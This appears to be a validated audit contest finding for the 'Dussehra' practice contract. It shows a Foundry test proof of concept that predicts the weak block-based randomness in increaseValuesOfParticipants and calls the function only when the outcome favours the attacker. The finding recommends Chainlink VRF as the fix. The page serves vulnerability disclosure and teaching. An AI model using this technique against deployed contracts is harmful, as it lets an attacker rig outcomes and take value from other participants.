First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak Pseudo-Random Number Generators when playing increaseValuesOfParticipants

azanux

Summary

A bad randomness vulnerability occurs when a smart contract relies on a source of randomness that is not truly random or can be predicted by an attacker. This can allow an attacker to manipulate the outcome of a transaction or gain an unfair advantage over other users.

Vulnerability Details

A player can create a smart contract that checks if they win before calling increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyParticipant). If the result is successful, increaseValuesOfParticipants is executed; if the result is not favorable, the user can choose not to call increaseValuesOfParticipants, so nobody can win except him.

Impact

A challenger can always win the bet and never lose, which is unfair to the other participants.

Code Example

This code should be added to the smart contract Dussehra.sol#CounterTest:

function test_increaseValueByManipulateRandom() public participants {
vm.startPrank(player1);
while (!ramNFT.getCharacteristics(0).isSatyavaakyah) {
vm.warp(block.timestamp + 1);
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(player1)))) % 2;
console.log("random value:", random);
if (random == 0) {
choosingRam.increaseValuesOfParticipants(0, 1);
console.log(ramNFT.getCharacteristics(0).isSatyavaakyah);
}
}
vm.stopPrank();
​
assertEq(ramNFT.getCharacteristics(0).isSatyavaakyah, true);
// Check selectedRam
assertEq(choosingRam.selectedRam(), player1);
}

Result
The user is selected as Ram.

Compiler run successful!
​
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_increaseValueByManipulateRandom() (gas: 466527)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.67ms (1.65ms CPU time)
​

Tools Used

Manual review.

Recommendations

Use Chainlink or an Oracle. Chainlink VRF (Verifiable Random Function) is a provably fair and verifiable random number generator (RNG) that enables smart contracts to access random values without compromising security or usability.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.